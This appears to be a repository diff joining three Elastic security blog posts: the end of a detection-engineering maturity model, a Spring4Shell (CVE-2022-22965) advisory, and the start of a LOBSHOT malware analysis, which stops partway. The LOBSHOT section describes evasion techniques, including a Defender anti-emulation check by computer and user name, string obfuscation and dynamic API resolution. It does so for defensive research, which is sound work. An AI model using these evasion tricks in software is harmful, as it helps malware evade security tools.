* Managed: 90-100% of tested samples trigger an alert, with consistent FN reduction metrics tracked; over 50% reduction in FNs over multiple quarters; comprehensive documentation and feedback loops for all rules.
|
||||
* Optimized: Near real-time FN triage with automated feedback and updates; over 75% reduction in FNs; continuous documentation and proactive measures to address FNs.
|
||||
|
||||
###### External Validation
|
||||
|
||||
External Validation involves engaging third parties to validate detection rules through various methods, including red team exercises, third-party assessments, penetration testing, and collaboration with external threat intelligence providers. By incorporating diverse perspectives and expertise, this process ensures that the detection rules are robust, comprehensive, and effective against real-world threats.
|
||||
|
||||
* Qualitative Behaviors - State of Ruleset:
|
||||
* Initial: No external validation.
|
||||
* Repeatable: Occasional external validation efforts with some improvements.
|
||||
* Defined: Regular and comprehensive external validation with documented feedback, improvements, and integration of findings into the detection ruleset. This level includes all of these validation methods.
|
||||
* Managed: Structured external validation activities with detailed documentation and continuous improvement; proactive engagement with multiple third-party validators.
|
||||
* Optimized: Continuous external validation with automated feedback integration, real-time updates, and proactive improvements based on diverse third-party insights.
|
||||
* Quantitative Measurements - Activities to Maintain State:
|
||||
* Initial: No external validation was conducted.
|
||||
* Repeatable: 1 external validation exercise per year, such as a red team exercise or third-party assessment; less than 20% of identified gaps are addressed annually.
|
||||
* Defined: More than one external validation exercise per year, including a mix of methods such as red team exercises, third-party assessments, penetration testing, and collaboration with external threat intelligence providers; detailed documentation of improvements based on external feedback, with at least 80% of identified gaps addressed within a quarter; integration of external validation findings into at least 50% of new rules.
|
||||
* Managed: Multiple external validation exercises per year, with comprehensive feedback integration; over 90% of identified gaps addressed within set timelines; proactive updates to rules based on continuous external insights.
|
||||
* Optimized: Continuous, real-time external validation with automated feedback and updates; 100% of identified gaps addressed proactively; comprehensive tracking and reporting of all external validation outcomes.
|
||||
|
||||
###### Advanced TTP Coverage
|
||||
|
||||
Covering non-commodity malware (APTs, zero-days, etc.) and emerging threats (new malware families and offensive security tools abused by threat actors, etc.) in the ruleset. This coverage is influenced by the capability of detecting these advanced threats, which requires comprehensive telemetry and flexible data ingestion. While demonstrating these behaviors early in the maturity process can have a compounding positive effect on team growth, this criterion is designed to focus on higher fidelity rulesets with low FPs.
|
||||
|
||||
* Qualitative Behaviors - State of Ruleset:
|
||||
* Initial: No advanced TTP coverage.
|
||||
* Repeatable: Response to some advanced TTPs based on third-party published research.
|
||||
* Defined: First-party coverage created for advanced TTPs based on threat intelligence and internal research, with flexible and comprehensive data ingestion capabilities.
|
||||
* Managed: Proactive coverage for advanced TTPs with detailed threat intelligence and continuous updates; integration with diverse data sources for comprehensive detection.
|
||||
* Optimized: Continuous, automated coverage for advanced TTPs using advanced analytics and machine learning; real-time updates and proactive measures for emerging threats.
|
||||
* Quantitative Measurements - Activities to Maintain State:
|
||||
* Initial: No advanced TTP coverage.
|
||||
* Repeatable: Detection and response to 1-3 advanced TTPs/adversaries based on available data and third-party research; less than 20% of rules cover advanced TTPs.
|
||||
* Defined: Detection and response to more than three advanced TTPs/adversaries uniquely identified and targeted based on first-party threat intelligence and internal research; 50-70% of rules cover advanced TTPs; comprehensive telemetry and flexible data ingestion for at least 70% of advanced threat detections; regular updates to advanced TTP coverage based on new threat intelligence.
|
||||
* Managed: Detection and response to over five advanced TTPs/adversaries with continuous updates and proactive measures; 70-90% of rules cover advanced TTPs with integrated telemetry and data ingestion; regular updates and feedback loops with threat intelligence teams.
|
||||
* Optimized: Real-time detection and response to advanced TTPs with automated updates and proactive coverage; 100% of rules cover advanced TTPs with continuous telemetry integration; dynamic updates and real-time feedback based on evolving threat landscapes.
|
||||
|
||||
#### Tier 4: Expert
|
||||
|
||||
The expert tier focuses on advanced automation, seamless integration with other security tools, and continuous improvement through regular updates and external collaboration. While proactive threat hunting is essential for maintaining a solid security posture, it complements the ruleset management process by identifying new patterns and insights that can be incorporated into detection rules. Teams implement sophisticated automation for rule updates, ensuring continuous integration of advanced detections. At Elastic, our team is constantly refining our rulesets through daily triage, regular updates, and sharing [threat hunt queries](https://github.com/elastic/detection-rules/tree/main/hunting) in our public GitHub repository to help the community improve their detection capabilities.
|
||||
|
||||

|
||||
|
||||
##### Criteria
|
||||
|
||||
###### Hunting in Telemetry/Internal Data
|
||||
|
||||
Setting up queries and daily triage to hunt for new threats and ensure rule effectiveness. This applies to vendors hunting in telemetry and other teams hunting in their available datasets.
|
||||
|
||||
* Qualitative Behaviors - State of Ruleset:
|
||||
* Initial: No hunting activities leading to ruleset improvement.
|
||||
* Repeatable: Occasional hunting activities with some findings.
|
||||
* Defined: Regular and systematic hunting with significant coverage findings based on the Threat Hunting Maturity Model, including findings from external validation, end-to-end testing, and malware detonations.
|
||||
* Managed: Continuous hunting activities with comprehensive documentation and integration of findings; regular feedback loops between hunting and detection engineering teams.
|
||||
* Optimized: Automated, real-time hunting with advanced analytics and machine learning; continuous documentation and proactive integration of findings to enhance detection rules.
|
||||
* Quantitative Measurements - Activities to Maintain State:
|
||||
* Initial: No hunting activities conducted, leading to ruleset improvement.
|
||||
* Repeatable: Bi-weekly outcome (e.g., discovered threats, new detections based on hypotheses, etc.) from hunting workflows; less than 20% of hunting findings are documented; minimal integration of hunting results into detection rules.
|
||||
* Defined: Weekly outcome with documented improvements and integration into detection rules based on hunting results and external validation data; 50-70% of hunting findings are documented and integrated into detection rules; regular feedback loop established between hunting and detection engineering teams.
|
||||
* Managed: Daily hunting activities with comprehensive documentation and integration of findings; over 90% of hunting findings are documented and lead to updates in detection rules; continuous improvement processes based on hunting results and external validation data; regular collaboration with threat intelligence teams to enhance hunting effectiveness.
|
||||
* Optimized: Real-time hunting activities with automated documentation and integration; 100% of hunting findings are documented and lead to immediate updates in detection rules; continuous improvement with proactive measures based on advanced analytics and threat intelligence.
|
||||
|
||||
###### Continuous Improvement and Potential Enhancements
|
||||
|
||||
Continuous improvement is vital at the expert tier, leveraging the latest technologies and methodologies to enhance detection capabilities. The "Optimized" levels in the different criteria across various tiers emphasize the necessity for advanced automation and the integration of emerging technologies. Implementing automation for rule updates, telemetry filtering, and integration with other advanced tools is essential for modern detection engineering. While current practices involve advanced automation beyond basic case management and SOAR (Security Orchestration, Automation, and Response), there is potential for further enhancements using emerging technologies like generative AI and large language models (LLMs). This reinforces the need for continuous adaptation and innovation at the highest tier to maintain a robust and effective security posture.
|
||||
|
||||
* Qualitative Behaviors - State of Ruleset:
|
||||
* Initial: No automation.
|
||||
* Repeatable: Basic automation for rule management processes, such as ETL (Extract, transform, and load) data plumbing to enable actionable insights.
|
||||
* Defined: Initial use of generative AI to assist in rule creation and assessment. For example, AI can assess the quality of rules based on predefined criteria.
|
||||
* Managed: Advanced use of AI/LLMs to detect rule duplications and overlaps, suggesting enhancements rather than creating redundant rules.
|
||||
* Optimized: Full generative AI/LLMs integration throughout the detection engineering lifecycle. This includes using AI to continuously improve rule accuracy, reduce false positives, and provide insights on rule effectiveness.
|
||||
* Quantitative Measurements - Activities to Maintain State:
|
||||
* Initial: No automated processes implemented.
|
||||
* Repeatable: Implement basic automated processes for rule management and integration; less than 30% of rule management tasks are automated; initial setup of automated deployment and version control.
|
||||
* Defined: Use of AI to assess rule quality, with at least 80% of new rules undergoing automated quality checks before deployment; 40-60% of rule management tasks are automated; initial AI-driven insights are used to enhance rule effectiveness and reduce false positives.
|
||||
* Managed: AI-driven duplication detection, with a target of reducing rule duplication by 50% within the first year of implementation; 70-80% of rule management tasks are automated; AI-driven suggestions result in a 30-50% reduction in FPs; continuous integration pipeline capturing and deploying rule updates.
|
||||
* Optimized: Comprehensive AI integration, where over 90% of rule updates and optimizations are suggested by AI, leading to a significant decrease in manual triaging of alerts and a 40% reduction in FPs; fully automated rule management and deployment processes; real-time AI-driven telemetry filtering and integration with other advanced tools.
|
||||
|
||||
### Applying the DEBMM to Understand Maturity
|
||||
|
||||
Once you understand the DEBMM and its tiers, you can begin applying it to assess and enhance your detection engineering maturity.
|
||||
|
||||

|
||||
|
||||
The following steps will guide you through the process:
|
||||
|
||||
**1. Audit Your Current Maturity Tier**: Evaluate your existing detection rulesets against the criteria outlined in the DEBMM. Identify your rulesets' strengths, weaknesses, and most significant risks to help determine your current maturity tier. For more details, see the [Example Questionnaire](#Example-Questionnaire).
|
||||
|
||||
**2. Understand the Scope of Effort: **Recognize the significant and sustained effort required to move from one tier to the next. As teams progress through the tiers, the complexity and depth of activities increase, requiring more resources, advanced skills, and comprehensive strategies. For example, transitioning from Tier 1 to Tier 2 involves systematic rule tuning and detailed gap analysis, while advancing to Tier 3 and Tier 4 requires robust external validation processes, proactive threat hunting, and sophisticated automation.
|
||||
|
||||
**3. Set Goals for Progression: **Define specific goals for advancing to the next tier. Use the qualitative and quantitative measures to set clear objectives for each criterion.
|
||||
|
||||
**4. Develop a Roadmap:** Create a detailed plan outlining the actions needed to achieve the goals. Include timelines, resources, and responsible team members. Ensure foundational practices from lower tiers are consistently applied as you progress while identifying opportunities for quick wins or significant impact by first addressing the most critical and riskiest areas for improvement.
|
||||
|
||||

|
||||
|
||||
**5. Implement Changes:** Execute the plan, ensuring all team members are aligned with the objectives and understand their roles. Review and adjust the plan regularly as needed.
|
||||
|
||||
**6. Monitor and Measure Progress:** Continuously track and measure the performance of your detection rulesets against the DEBMM criteria. Use metrics and key performance indicators (KPIs) to monitor your progress and identify areas for further improvement.
|
||||
|
||||
**7. Iterate and Improve:** Regularly review and update your improvement plan based on feedback, results, and changing threat landscapes. Iterate on your detection rulesets to enhance their effectiveness and maintain a high maturity tier.
|
||||
|
||||
#### Grouping Criteria for Targeted Improvement
|
||||
|
||||
To further simplify the process, you can group criteria into specific categories to focus on targeted improvements. For example:
|
||||
|
||||
* **Rule Creation and Management:** Includes criteria for creating, managing, and maintaining rules.
|
||||
* **Telemetry and Data Quality:** Focuses on improving and maintaining telemetry quality.
|
||||
* **Threat Landscape Review:** Involves regularly reviewing and updating rules based on changes in the threat landscape.
|
||||
* **Stakeholder Engagement:** Engaging with product owners and other stakeholders to meet detection needs.
|
||||
|
||||
Grouping criteria allow you to prioritize activities and improvements based on your current needs and goals. This structured and focused approach helps enhance your detection rulesets and is especially beneficial for teams with multiple feature owners working in different domains toward a common goal.
|
||||
|
||||
## Conclusion
|
||||
|
||||
Whether you apply the DEBMM to your ruleset or use it as a guide to enhance your detection capabilities, the goal is to help you systematically develop, manage, and improve your detection rulesets. By following this structured model and progressing through the maturity tiers, you can significantly enhance the effectiveness of your threat detection capabilities. Remember, security is a continuous journey; consistent improvement is essential to stay ahead of emerging threats and maintain a robust security posture. The DEBMM will support you in achieving better security and more effective threat detection. We value your feedback and suggestions on refining and enhancing the model to benefit the security community. Please feel free to reach out with your thoughts and ideas.
|
||||
|
||||
We’re always interested in hearing use cases and workflows like these, so as always, reach out to us via [GitHub issues](https://github.com/elastic/protections-artifacts/issues), chat with us in our [community Slack](http://ela.st/slack), and ask questions in our [Discuss forums](https://discuss.elastic.co/c/security/endpoint-security/80)!
|
||||
|
||||
## Appendix
|
||||
|
||||
### Example Rule Metadata
|
||||
|
||||
Below is an updated list of criteria that align with example metadata used within Elastic but should be tailored to the product used:
|
||||
|
||||
| Field | Criteria |
|
||||
|:-------------------:|:------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------:|
|
||||
| name | Should be descriptive, concise, and free of typos related to the rule. Clearly state the action or behavior being detected. Validation can include spell-checking and ensuring it adheres to naming conventions. |
|
||||
| author | Should attribute the author or organization who developed the rule. |
|
||||
| description | Detailed explanation of what the rule detects, including the context and significance. Should be free of jargon and easily understandable. Validation can ensure the length and readability of the text. |
|
||||
| from | Defines the time range the rule should look back from the current time. Should be appropriate for the type of detection and the expected data retention period. Validation can check if the time range is within acceptable limits. |
|
||||
| index | Specifies the data indices to be queried. Should accurately reflect where relevant data is stored. Validation can ensure indices exist and are correctly formatted. |
|
||||
| language | Indicates the query language used (e.g., EQL, KQL, Lucene). Should be appropriate for the type of query and the data source if multiple languages are available. Validation can confirm the language is supported and matches the query format. |
|
||||
| license | Indicates the license under which the rule is provided. Should be clear and comply with legal requirements. Validation can check against a list of approved licenses. |
|
||||
| rule_id | Unique identifier for the rule. Should be a UUID to ensure uniqueness. Validation can ensure the rule_id follows UUID format. |
|
||||
| risk_score | Numerical value representing the severity or impact of the detected behavior. Should be based on a standardized scoring system. Validation can check the score against a defined range. |
|
||||
| severity | Descriptive level of the rule's severity (e.g., low, medium, high). Should align with the risk score and organizational severity definitions. Validation can ensure consistency between risk score and severity. |
|
||||
| tags | List of tags categorizing the rule. Should include relevant domains, operating systems, use cases, tactics, and data sources. Validation can check for the presence of required tags and their format. |
|
||||
| type | Specifies the type of rule (e.g., eql, query). Should match the query language and detection method. Validation can ensure the type is correctly specified. |
|
||||
| query | The query logic used to detect the behavior. Should be efficient, accurate, and tested for performance with fields validated against a schema. Validation can include syntax checking and performance testing. |
|
||||
| references | List of URLs or documents that provide additional context or background information. Should be relevant and authoritative. Validation can ensure URLs are accessible and from trusted sources. |
|
||||
| setup | Instructions for setting up the rule. Should be clear, comprehensive, and easy to follow. Validation can check for completeness and clarity. |
|
||||
| creation_date | Date when the rule was created. Should be in a standardized format. Validation can ensure the date is in the correct format. |
|
||||
| updated_date | Date when the rule was last updated. Should be in a standardized format. Validation can ensure the date is in the correct format. |
|
||||
| integration | List of integrations that the rule supports. Should be accurate and reflect all relevant integrations. Validation can ensure integrations are correctly listed. |
|
||||
| maturity | Indicates the maturity level of the rule (e.g., experimental, beta, production). Should reflect the stability and reliability of the rule. Validation can check against a list of accepted maturity levels. Note: While this field is not explicitly used in Kibana, it’s beneficial to track rules with different maturities in the format stored locally in VCS. |
|
||||
| threat | List of MITRE ATT&CK tactics, techniques, and subtechniques related to the rule. Should be accurate and provide relevant context. Validation can check for correct mapping to MITRE ATT&CK. |
|
||||
| actions | List of actions to be taken when the rule is triggered. Should be clear and actionable. Validation can ensure actions are feasible and clearly defined. |
|
||||
| building_block_type | Type of building block rule if applicable. Should be specified if the rule is meant to be a component of other rules. Validation can ensure this field is used appropriately. |
|
||||
| enabled | Whether the rule is currently enabled or disabled. Validation can ensure this field is correctly set. |
|
||||
| exceptions_list | List of exceptions to the rule. Should be comprehensive and relevant. Validation can check for completeness and relevance. |
|
||||
| version | Indicates the version of the rule (int, semantic version, etc) to track changes. Validation can ensure the version follows a consistent format. |
|
||||
|
||||
### Example Questionnaire
|
||||
|
||||
#### 1. Identify Threat Landscape
|
||||
|
||||
**Questions to Ask:**
|
||||
|
||||
* Do you regularly review the top 5 threats your organization faces? (Yes/No)
|
||||
* Are relevant tactics and techniques identified for these threats? (Yes/No)
|
||||
* Is the threat landscape reviewed and updated regularly? (Yes - Monthly/Yes - Quarterly/Yes - Annually/No)
|
||||
* Have any emerging threats been recently identified? (Yes/No)
|
||||
* Is there a designated person responsible for monitoring the threat landscape? (Yes/No)
|
||||
* Do you have data sources that capture relevant threat traffic? (Yes/Partial/No)
|
||||
* Are critical assets likely to be affected by these threats identified? (Yes/No)
|
||||
* Are important assets and their locations documented? (Yes/No)
|
||||
* Are endpoints, APIs, IAM, network traffic, etc. in these locations identified? (Yes/Partial/No)
|
||||
* Are critical business operations identified and their maintenance ensured? (Yes/No)
|
||||
* If in healthcare, are records stored in a HIPAA-compliant manner? (Yes/No)
|
||||
* If using cloud, is access to cloud storage locked down across multiple regions? (Yes/No)
|
||||
|
||||
**Steps for Improvement:**
|
||||
|
||||
* Establish a regular review cycle for threat landscape updates.
|
||||
* Engage with external threat intelligence providers for broader insights.
|
||||
|
||||
#### 2. Define the Perfect Rule
|
||||
|
||||
**Questions to Ask:**
|
||||
|
||||
* Are required fields for a complete rule defined? (Yes/No)
|
||||
* Is there a process for documenting and validating rules? (Yes/No)
|
||||
* Is there a clear process for creating new rules? (Yes/No)
|
||||
* Are rules prioritized for creation and updates based on defined criteria? (Yes/No)
|
||||
* Are templates or guidelines available for rule creation? (Yes/No)
|
||||
* Are rules validated for a period before going into production? (Yes/No)
|
||||
|
||||
**Steps for Improvement:**
|
||||
|
||||
* Develop and standardize templates for rule creation.
|
||||
* Implement a review process for rule validation before deployment.
|
||||
|
||||
#### 3. Define the Perfect Ruleset
|
||||
|
||||
**Questions to Ask:**
|
||||
|
||||
* Do you have baseline rules needed to cover key threats? (Yes/No)
|
||||
* Are major threat techniques covered by your ruleset? (Yes/Partial/No)
|
||||
* Is the effectiveness of the ruleset measured? (Yes - Comprehensively/Yes - Partially/No)
|
||||
* Do you have specific criteria used to determine if a rule should be included in the ruleset? (Yes/No)
|
||||
* Is the ruleset maintained and updated? (Yes - Programmatic Maintenance & Frequent Updates/Yes - Programmatic Maintenance & Ad hoc Updates/Yes - Manual Maintenance & Frequent Updates/Yes - Manual Maintenance & Ad Hoc Updates/No)
|
||||
|
||||
**Steps for Improvement:**
|
||||
|
||||
* Perform gap analysis to identify missing coverage areas.
|
||||
* Regularly update the ruleset based on new threat intelligence and feedback.
|
||||
|
||||
#### 4. Maintain
|
||||
|
||||
**Questions to Ask:**
|
||||
|
||||
* Are rules reviewed and updated regularly? (Yes - Monthly/Yes - Quarterly/Yes - Annually/No)
|
||||
* Is there a version control system in place? (Yes/No)
|
||||
* Are there documented processes for rule maintenance? (Yes/No)
|
||||
* How are changes to the ruleset communicated to stakeholders? (Regular Meetings/Emails/Documentation/No Communication)
|
||||
* Are there automated processes for rule updates and validation? (Yes/Partial/No)
|
||||
|
||||
**Steps for Improvement:**
|
||||
|
||||
* Implement version control for all rules.
|
||||
* Establish automated workflows for rule updates and validation.
|
||||
|
||||
#### 5. Test & Release
|
||||
|
||||
**Questions to Ask:**
|
||||
|
||||
* Are tests performed before rule deployment? (Yes/No)
|
||||
* Is there a documented validation process? (Yes/No)
|
||||
* Are test results documented and used to improve rules? (Yes/No)
|
||||
* Is there a designated person responsible for testing and releasing rules? (Yes/No)
|
||||
* Are there automated testing frameworks in place? (Yes/Partial/No)
|
||||
|
||||
**Steps for Improvement:**
|
||||
|
||||
* Develop and maintain a testing framework for rule validation.
|
||||
* Document and review test results to continuously improve rule quality.
|
||||
|
||||
#### 6. Criteria Assessment
|
||||
|
||||
**Questions to Ask:**
|
||||
|
||||
* Are automated tools, including generative AI, used in the rule assessment process? (Yes/No)
|
||||
* How often are automated assessments conducted using defined criteria? (Monthly/Quarterly/Annually/Never)
|
||||
* What types of automation or AI tools are integrated into the rule assessment process? (List specific tools)
|
||||
* How are automated insights, including those from generative AI, used to optimize rules? (Regular Updates/Ad hoc Updates/Not Used)
|
||||
* What metrics are tracked to measure the effectiveness of automated assessments? (List specific metrics)
|
||||
|
||||
**Steps for Improvement:**
|
||||
|
||||
* Integrate automated tools, including generative AI, into the rule assessment and optimization process.
|
||||
* Regularly review and implement insights from automated assessments to enhance rule quality.
|
||||
|
||||
#### 7. Iterate
|
||||
|
||||
**Questions to Ask:**
|
||||
|
||||
* How frequently is the assessment process revisited? (Monthly/Quarterly/Annually/Never)
|
||||
* What improvements have been identified and implemented from previous assessments? (List specific improvements)
|
||||
* How is feedback from assessments incorporated into the ruleset? (Regular Updates/Ad hoc Updates/Not Used)
|
||||
* Who is responsible for iterating on the ruleset based on assessment feedback? (Designated Role/No Specific Role)
|
||||
* Are there metrics to track progress and improvements over time? (Yes/No)
|
||||
|
||||
**Steps for Improvement:**
|
||||
|
||||
* Establish a regular review and iteration cycle.
|
||||
* Track and document improvements and their impact on rule effectiveness.
|
||||
|
||||
_The release and timing of any features or functionality described in this post remain at Elastic's sole discretion. Any features or functionality not currently available may not be delivered on time or at all._
|
|
@ -0,0 +1,54 @@
|
|||
---
|
||||
title: "Elastic's response to the Spring4Shell vulnerability (CVE-2022-22965)"
|
||||
slug: "elastic-response-to-the-the-spring4shell-vulnerability-cve-2022-22965"
|
||||
date: "2022-11-22"
|
||||
description: "Provide executive-level details about CVE-2022-22965, a recently-disclosed remote code execution (RCE) vulnerability also known as “Spring4Shell”."
|
||||
author:
|
||||
- slug: devon-kerr
|
||||
image: "thumbnail-security-logos-lock.png"
|
||||
category:
|
||||
- slug: security-research
|
||||
- slug: vulnerability-updates
|
||||
---
|
||||
|
||||
On March 29, 2022 a vulnerability in the [Spring framework](https://spring.io/projects/spring-framework) was [disclosed](https://tanzu.vmware.com/security/cve-2022-22965) to the public by VMware. This vulnerability had several prerequisites affecting impact:
|
||||
|
||||
- Spring framework versions 5.3.0-5.3.17, 5.2.0-5.2.19, potentially software versions prior to 5.2.x
|
||||
- An application running as a Spring MVX or WebFlux object
|
||||
- Apache Tomcat as the container for that application
|
||||
- The application packaged as a Web Application Resource (WAR)
|
||||
|
||||
Specifically, this vulnerability targets the ClassLoader() class, though similar undiscovered vulnerabilities in other classes are likely. A URI parameter can be passed to Tomcat as part of a standard web request to exploit this vulnerability.
|
||||
|
||||
## What is the threat?
|
||||
|
||||
CVE-2022-22965 is a vulnerability that may affect systems on which the Spring Framework has been installed, and which expose Spring MVC or WebFlux applications running on JDK 9 or later. The exploit associated with this vulnerability requires Apache Tomcat, and that applications are deployed as Web Application Resources (WARs) — but enterprises should consider that other methods of exploitation are also possible.
|
||||
|
||||
## What is the impact?
|
||||
|
||||
If successfully exploited, the Spring4Shell vulnerability may permit an adversary to execute arbitrary code (including malware) in the context of the web server. Because specific software, versions, and configurations are required as prerequisites, enterprises should expect a less impact than a vulnerability like [Log4Shell](https://www.elastic.co/blog/analysis-of-log4shell-cve-2021-45046). While Spring4Shell has more specific prerequisites to cause impact, Elastic Security still recommends [following official guidance](https://spring.io/blog/2022/03/31/spring-framework-rce-early-announcement) regarding patching and upgrading.
|
||||
|
||||
## Leveraging Elastic for exploit detection
|
||||
|
||||
Prebuilt protections that generically identify aspects of successful exploitation already exist in community-facing repositories:
|
||||
|
||||
- [Webshell Detection: Script Process Child of Common Web Processes](https://github.com/elastic/detection-rules/blob/6bdfddac8edea5e327bf28aed7e6dc4a7f701dc6/rules/windows/persistence_webshell_detection.toml)
|
||||
- [Potential Shell via Web Server](https://github.com/elastic/detection-rules/blob/414d32027632a49fb239abb8fbbb55d3fa8dd861/rules/linux/persistence_shell_activity_by_web_server.toml)
|
||||
|
||||
Additionally, Elastic [provides](https://github.com/elastic/detection-rules) dozens of rules for common and uncommon post-exploitation techniques, which may appear in later stages of an intrusion attempt.
|
||||
|
||||
### Artifacts
|
||||
|
||||
Elastic’s community-facing [detection-rules repository](https://github.com/elastic/detection-rules) contains two rules specific to webserver post-exploitation. Due to the unpredictable nature of vulnerabilities, any post-exploitation rules provided by Elastic may be helpful in detecting or understanding a Spring4Shell-related intrusion attempt. For enterprises seeking to better understand this vulnerability, consider [this](https://sholzhauer.medium.com/spring4shell-detection-and-response-elastic-946ec4f59026) excellent overview by Elastic community member Stijn Holzhauer.
|
||||
|
||||
## Defensive recommendations
|
||||
|
||||
Enterprises should follow guidance provided by Spring in their [official disclosure announcement](https://spring.io/blog/2022/03/31/spring-framework-rce-early-announcement), and seek to patch or upgrade the Spring framework. Additionally, for those who may not be able to address the vulnerability in Spring, a patch has also been released to close this vulnerability in Apache Tomcat (minimum versions 10.0.20, 9.0.62, 8.5.78). Further, it is possible to configure disallowedFields to neutralize vulnerabilities related to data binding abuses.
|
||||
|
||||
## References
|
||||
|
||||
- [Spring Framework RCE, Early Announcement](https://spring.io/blog/2022/03/31/spring-framework-rce-early-announcement)
|
||||
- [CVE-2022-22965: Spring Framework RCE via Data Binding on JDK 9+](https://tanzu.vmware.com/security/cve-2022-22965)
|
||||
- [Using the Elastic stack to detect potential malicious requests and explore exposure to the RCE flaw in the Java Spring Framework.](https://sholzhauer.medium.com/spring4shell-detection-and-response-elastic-946ec4f59026)
|
||||
|
||||
**Not already using Elastic Security? You can always get started with a [free 14-day trial](https://cloud.elastic.co/registration) of Elastic Cloud.**
|
|
@ -0,0 +1,383 @@
|
|||
---
|
||||
title: "Elastic Security Labs discovers the LOBSHOT malware"
|
||||
slug: "elastic-security-labs-discovers-lobshot-malware"
|
||||
date: "2023-05-16"
|
||||
subtitle: "An analysis of LOBSHOT, an hVNC malware family spreading through Google Ads."
|
||||
description: "Elastic Security Labs is naming a new malware family, LOBSHOT. LOBSHOT propagates and infiltrates targeted networks through Google Ads and hVNC sessions to deploy backdoors masquerading as legitimate application installers."
|
||||
author:
|
||||
- slug: daniel-stepanic
|
||||
image: "photo-edited-08@2x.jpg"
|
||||
category:
|
||||
- slug: malware-analysis
|
||||
tags:
|
||||
- lobshot
|
||||
- ref5873
|
||||
---
|
||||
|
||||
## Key takeaways
|
||||
|
||||
- Adversaries continue to abuse and increase reach through malvertising such as Google Ads by impersonating legitimate software
|
||||
- Elastic Security Labs is shedding light on an undiscovered hVNC malware that has been quietly collecting a large install base
|
||||
- This malware we are calling LOBSHOT appears to be leveraged for financial purposes employing banking trojan and info-stealing capabilities
|
||||
|
||||
## Preamble
|
||||
|
||||
Elastic Security Labs along with the research community noticed a large spike in the adoption of malvertising earlier this year. Attackers promoted their malware using an elaborate scheme of fake websites through Google Ads and embedding backdoors in what appears to users as legitimate installers. In this post, we will highlight one malware family we observed from this spike we’re calling LOBSHOT. LOBSHOT continues to collect victims while staying under the radar.
|
||||
|
||||
One of LOBSHOT’s core capabilities is around its hVNC (Hidden Virtual Network Computing) component. These kinds of modules allow for direct and unobserved access to the machine. This feature continues to be successful in bypassing fraud detection systems and is often baked into many popular families as plugins.
|
||||
|
||||
We will walk through the LOBSHOT infection chain and its behaviors. Additionally, we will provide a YARA signature and configuration extractor for this family.
|
||||
|
||||

|
||||
|
||||
Throughout our analysis, we observed infrastructure known to belong to [TA505](https://malpedia.caad.fkie.fraunhofer.de/actor/ta505). TA505 is a well-known cybercrime group associated with Dridex, Locky, and Necurs campaigns. A loader documented by Proofpoint, known as [Get2](https://www.proofpoint.com/us/threat-insight/post/ta505-distributes-new-sdbbot-remote-access-trojan-get2-downloader), has also been tied to the same domains in the past that we observed with LOBSHOT. We assess with moderate confidence that LOBSHOT is a new malware capability leveraged by TA505 starting in 2022.
|
||||
|
||||
## Campaign context
|
||||
|
||||
Earlier this year, Elastic Security Labs observed multiple infections with an interesting chain of events that resulted in the execution of an unknown hVNC malware, which we are calling LOBSHOT. Around this same time, similar infection chains were observed in the security community with commonalities of users searching for legitimate software downloads that ended up getting served illegitimate software from promoted ads from Google [[1](https://www.spamhaus.com/resource-center/a-surge-of-malvertising-across-google-ads-is-distributing-dangerous-malware/), [2](https://twitter.com/1ZRR4H/status/1617661947851464704?s=20), [3](https://twitter.com/Malwar3Ninja/status/1617423187415044099?s=20), [4](https://twitter.com/malwrhunterteam/status/1617605240316129280?s=20)].
|
||||
|
||||
In one example, the malicious ad was for a legitimate remote desktop solution, AnyDesk. Careful examination of the URL goes to `https://www.amydecke[.]website` instead of the legitimate AnyDesk URL, `https://www.anydesk[.]com`.
|
||||
|
||||

|
||||
|
||||
The landing pages were very convincing with similar branding as the legitimate software and included Download Now buttons that pointed to an MSI installer.
|
||||
|
||||

|
||||
|
||||
Thanks to security researcher [Will Dormann](https://twitter.com/wdormann), we were able to [view](https://twitter.com/wdormann/status/1617612216945250304?s=20) the screenshots from the AnyDesk campaign.
|
||||
|
||||

|
||||
|
||||
At the time of publication, we haven’t seen any previous public information about LOBSHOT, so we will focus our research on LOBSHOT’s functionality and capabilities.
|
||||
|
||||
## LOBSHOT code analysis
|
||||
|
||||
To focus on the LOBSHOT malware, we will skip the initial infection chain. For these initial details, here is a good [sandbox](https://www.joesandbox.com/analysis/787624/0/html) report to look over for general TTPs. We have observed over 500 unique LOBSHOT samples since last July. The samples we have observed are compiled as 32-bit DLLs or 32-bit executables typically ranging around **93** KB to **124** KB. Consider the following [sample](https://www.virustotal.com/gui/file/e4ea88887753a936eaf3361dcc00380b88b0c210dcbde24f8f7ce27991856bf6) representative of LOBSHOT for purposes of this analysis.
|
||||
|
||||
### Dynamic API resolution
|
||||
|
||||
In our LOBSHOT sample, like most malware we see today, it employs dynamic import resolution to evade security products and slow down the rapid identification of its capabilities. This process involves resolving the names of the Windows APIs that the malware needs at runtime as opposed to placing the imports into the program ahead of time.
|
||||
|
||||

|
||||
|
||||
### Defender emulation check
|
||||
|
||||
After the initial libraries are loaded, LOBSHOT performs a Windows Defender anti-emulation check by verifying if the computer name matches the string **HAL9TH** and if the username matches **JohnDoe**. These are hard-coded values within the emulation layer of Defender, if they are present, the malware immediately stops running. This kind of verification has been incorporated in many other stealers including Arkei, Vidar, and Oski. Below is the emulation output using the [Qiling](https://github.com/qilingframework/qiling) framework highlighting these verification checks.
|
||||
|
||||

|
||||
|
||||
### String obfuscation
|
||||
|
||||
This malware hides its primary strings through a straightforward encryption function using different bitwise operators. To perform the string decryption, LOBSHOT uses an initial seed from the [WTS_SESSION_INFO](https://learn.microsoft.com/en-us/windows/desktop/api/wtsapi32/ns-wtsapi32-wts_session_infoa) structure from a call to **WTSEnumerateSessionsA.**
|
||||
|
||||

|
||||
|
||||
In this case, the malware developer sets up the initial seed by performing an XOR on the **SessionID** (always a **0** ) and the **S** char from “Services”.
|
||||
|
||||

|
||||
|
||||
### Initial enumeration
|
||||
|
||||
Before sending any outbound network requests, LOBSHOT builds a custom structure containing enumerated data from the machine including:
|
||||
|
||||
- GUID of machine derived from **SOFTWARE\Microsoft\Cryptography\MachineGuid**
|
||||
- Windows edition, username, computer name
|
||||
- A VM check, number of processes running, process ID, parent process of malware
|
||||
- Windows desktop object details
|
||||
- Screen height/width
|
||||
- Display device information
|
||||
- Handles to the desktop objects and windows
|
||||
- DPI for the display(s)
|
||||
|
||||

|
||||
|
||||
### Execution flow
|
||||
|
||||
